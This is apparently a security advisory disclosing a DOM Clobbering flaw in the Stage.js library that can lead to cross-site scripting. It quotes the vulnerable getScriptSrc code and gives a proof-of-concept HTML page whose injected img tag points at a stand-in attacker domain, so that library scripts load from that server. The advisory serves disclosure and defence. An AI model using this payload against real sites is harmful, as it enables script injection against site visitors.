We identified a DOM Clobbering vulnerability within the Stage.js library (version 0.8.10). The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have found similar issues in the other popular client-side libraries for building websites, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
The Stage.js library uses document.currentScript within the getScriptSrc function to obtain the base URL for script resources. However, this implementation is vulnerable to DOM Clobbering attacks. The document.currentScript lookup can be shadowed by attacker-injected HTML elements (e.g., ) through the browser’s named DOM access mechanism. This allows an attacker to control the URL used for script loading, potentially loading scripts from an attacker’s server.
https://github.com/piqnt/stage.js/blob/a1d7da8b8ebccfba4159ff8f986578dfd988a22c/lib/core.js#L155-L206
function getScriptSrc() {
// HTML5
if (document.currentScript) {
return document.currentScript.src;
}
}
return function(url) {
if (/^\.\//.test(url)) {
var src = getScriptSrc();
var base = src.substring(0, src.lastIndexOf('/') + 1);
url = base + url.substring(2);
}
return url;
};
In this example, the src of an attacker-controlled element with name="currentScript" can override the intended URL, resulting in script loading from an attacker’s domain.
The following example demonstrates how a malicious script can be loaded from localhost:9999 via an injected HTML element:
<html>
<body>
<!-- Payload -->
<img name="currentScript" src="http://attack.controlled.com"></img>
<!-- Payload -->
<!-- Library -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/stage.js/0.8.10/stage.web.js" integrity="sha512-rA/8kCbIrzxcXW6akXAiN6FnpM+VW2iv9Zzw4ghu5Mt7xDobt3oraMSDxDeqq4kSUkaTBVdNOy1iyEyFhmceCw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script>
Stage.preload('./a.js');
</script>
<!-- Library -->
</body>
</html>
In this example, a.js will be loaded from the attacker’s domain if the injected img tag is present.